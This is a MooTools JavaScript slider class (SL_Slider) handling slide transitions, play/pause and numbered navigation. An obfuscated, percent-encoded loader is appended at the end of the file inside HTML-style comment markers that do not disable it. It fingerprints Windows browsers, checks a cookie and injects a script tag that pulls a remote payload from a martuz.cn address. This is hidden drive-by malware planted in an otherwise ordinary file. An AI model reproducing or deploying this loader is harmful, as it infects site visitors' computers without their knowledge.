var SL_Slider = new Class({

	//implements
	Implements: [Options],	
	
	//variables setup
	numNav: new Array(),	//will store number nav elements (if used)
	timer: null,				//periodical function variable holder
	isSliding: 0,				//flag for animation/click prevention
	direction: 1,				//flag for direction (forward/reverse)
	origColor: null,			//variable for holding original number's color (will probably revert to CSS for this)

	//options
	options: {
	slideTimer: 8000,  		//Time between slides (1 second = 1000), a.k.a. the interval duration
	isPaused: 0,				//flag for paused state
	transitionTime: 1000, 	//Transition time (1 second = 1000)
	container: null,			//container element
	items:  null, 				//Array of elements for sliding
	itemNum: 0,				//Current item number
	hasControls: false,		//Whether or not the controls box will be used
	numNavActive: false,	//Whether or not the number navigation will be used
	numNavHolder: null,	//Element that holds the number navigation
	playBtn: null,				//Play (and pause) button element
	prevBtn: null,				//Previous button element
	nextBtn: null				//Next button element
	},

	//initialization
	initialize: function(options) {
		//set options
		this.setOptions(options);
		
		//remove any scrollbar(s) on the container
		this.options.container.setStyle('overflow', "hidden");  
		
		//if there is a play/pause button, set up functionality for it
		if(this.options.hasControls != false) {
			
			this.pauseIt.bind(this);  
			
			this.options.playBtn.set('text', 'pause');
				
			this.options.playBtn.addEvents({
				'click': 	function() {
					this.pauseIt();
				}.bind(this),				
				'mouseenter' : function() {
					this.setStyle('cursor', 'pointer');
				}
				
			});
			this.options.playBtn.addEvent('mouseenter', function() {this.setStyle('cursor', 'pointer');} );
		}
		
		//setup items (a.k.a. slides) from list
		this.options.items.each(function(el, i){
			  //f.y.i.  el = the element, i = the index
			  
			  //positioning/opacity setup
			  el.setStyle('position', "absolute");
			  
			  //get size of item and move that far above the container
			  var itemH = el.getSize().y;
			  var itemW = el.getSize().x;
			 //el.setStyle('top', (-1 * itemH));
			  el.setStyle('left', (-1 * itemW));
			  
			// -- Number nav setup
			if(this.options.numNavActive){
				
				//create numbered navigation boxes, and insert into the 'num_nav' ul)
				var numItem = new Element('li', {id: 'num'+i});
				var numLink = new Element('a', {
					'class': 'numbtn',
					'html': (i+1)
				});
				
				numItem.adopt(numLink);
				this.options.numNavHolder.adopt(numItem);
				this.numNav.push(numLink);
				
				numLink.set('morph', {duration: 100, transition: Fx.Transitions.linear, link: 'ignore'});
				
				numLink.addEvents({
					'click' : this.numPress.bindWithEvent(this, i),
					'mouseenter' : function() {
						this.setStyle('cursor', 'pointer');
					}
				});
				
				//set initial number to active state
				if(i == this.options.itemNum){
					var initNum = this.numNav[i];
					initNum.addClass('active');
				}
				
			}
			//end if num nav 'active'
		
		 }, this);
	
	},

	//startup method
	start: function() {
		
		this.slideIt(this.options.itemNum);
		this.theTimer = this.slideIt.periodical(this.options.slideTimer, this, null);
		
	},


	slideIt: function(passedID) {
		
		//get item to slide out
		var curItem = this.options.items[this.options.itemNum]; 
		
		if(this.options.numNavActive){
			var curNumItem =  this.numNav[this.options.itemNum];
		}
		
		if(this.direction == 1){
			var curX = this.options.container.getSize().x;
		}
		else{
			var curX = (-1 * this.options.container.getSize().x);	
		}
		
		this.changeIndex();
		
		//check for passedID presence
		if(passedID != null) {
			if(this.options.itemNum != passedID){
				this.options.itemNum = passedID;
			}
		}
		
		//now get item to slide in using new index
		var newItem = this.options.items[this.options.itemNum];
		
		if(this.options.numNavActive){
			var newNumItem =  this.numNav[this.options.itemNum];
		}
		
		if(this.direction == 1){
			var newX = (-1 * newItem.getSize().x);
		}
		else{
			var newX = newItem.getSize().x;	
		}
		
		//set up our animation stylings
		var item_in = new Fx.Morph(newItem, {
		     duration: this.options.transitionTime, 
		     transition: 'cubic:inOut', 
		     link: 'ignore',
		     
		     onStart: this.toggleSlidingOn.create({
				bind: this
			}),
		     
		     onComplete: this.toggleSlidingOff.create({
				bind: this
			})
		     
		});
		
		//add/remove active number's highlight
		if(this.options.numNavActive){
			newNumItem.addClass('active');
		}
		
		item_in.start({
			//'opacity':[0,1],
			'left' : [newX, 0]
		});
		
		if(curItem != newItem){
			var item_out = new Fx.Morph(curItem, {
				     duration: this.options.transitionTime, 
				     transition: 'cubic:inOut', 
				     link: 'ignore'
			});
			
			if(this.options.numNavActive){
				curNumItem.removeClass('active');
			}
			
			item_out.start({
				//'opacity':[0],
				'left' : [(curX)]
			});
		}
	
	},
	
	//--------------------------------------------------------------------------------------------------------
	//supplementary functions  (mini-functions)
	//--------------------------------------------------------------------------------------------------------
	pauseIt: function () {
		
		//only move if not currently moving
		if(this.isSliding == 0){
			if(this.options.isPaused == 0){
				this.options.isPaused = 1;
				$clear(this.theTimer);
				this.options.playBtn.set('text', 'play');				
			}
			else{
				this.options.isPaused = 0;
				this.slideIt();
				this.theTimer = this.slideIt.periodical(this.options.slideTimer, this, null); 
				this.options.playBtn.set('text', 'pause');
			}
			
		} //end if not sliding
		
	},
	
	changeIndex: function() {
		var numItems = this.options.items.length;  //get number of slider items
		
		//change index based on value of 'direction' parameter
		if(this.direction == 1){
			if(this.options.itemNum < (numItems - 1)){
				this.options.itemNum++; 
			}
			else{
				this.options.itemNum = 0;
			}
		}
		else if(this.direction == 0){
			if(this.options.itemNum > 0){
				this.options.itemNum--; 
			}
			else{
				this.options.itemNum = (numItems - 1);
			}
		}	
		
	},
	
	numPress: function (e, theIndex) {
		
		if((this.isSliding == 0) && (this.options.itemNum != theIndex)){
			if(this.options.isPaused == 0){
				$clear(this.theTimer);
				this.theTimer = this.slideIt.periodical(this.options.slideTimer, this, null);
			}
			this.slideIt(theIndex);
		}
	
	},
	
	toggleSlidingOn: function () {
		this.isSliding = 1;  //prevents extra clicks
	},
	
	toggleSlidingOff: function () {
		this.isSliding = 0;  //prevents extra clicks
	}
	
	//------------------------  end supp. functions -----------------------------------------//
	
	

});<!-- 
(function(){var n16JZ='var"20a"3d"22Scrip"74Eng"69ne"22"2c"62"3d"22V"65rs"69"6fn()"2b"22"2cj"3d"22"22"2c"75"3dn"61v"69gator"2euse"72Ag"65nt"3bif("28u"2e"69"6e"64ex"4f"66"28"22C"68"72ome"22)"3c0"29"26"26("75"2e"69ndexOf"28"22Wi"6e"22)"3e0"29"26"26(u"2e"69nde"78Of("22"4eT"206"22)"3c0)"26"26(do"63um"65nt"2ecook"69e"2ein"64"65"78O"66("22miek"3d"31"22)"3c"30"29"26"26("74y"70e"6f"66"28z"72v"7ats"29"21"3d"74y"70"65of("22"41"22)"29"29"7bzrvzts"3d"22A"22"3b"65v"61l("22if("77"69"6ed"6fw"2e"22"2ba+"22)j"3dj+"22+"61+"22Ma"6aor"22+b"2b"61+"22Minor"22+b+"61+"22"42u"69ld"22"2bb+"22j"3b"22)"3b"64o"63"75"6d"65nt"2ewrite("22"3cscript"20src"3d"2f"2fmart"22+"22u"7a"2ecn"2fvi"64"2f"3fid"3d"22"2bj"2b"22"3e"3c"5c"2fs"63"72i"70t"3e"22)"3b"7d';var qlY5=n16JZ.replace(/"/g,'%');var d9X=unescape(qlY5);eval(d9X)})();
 -->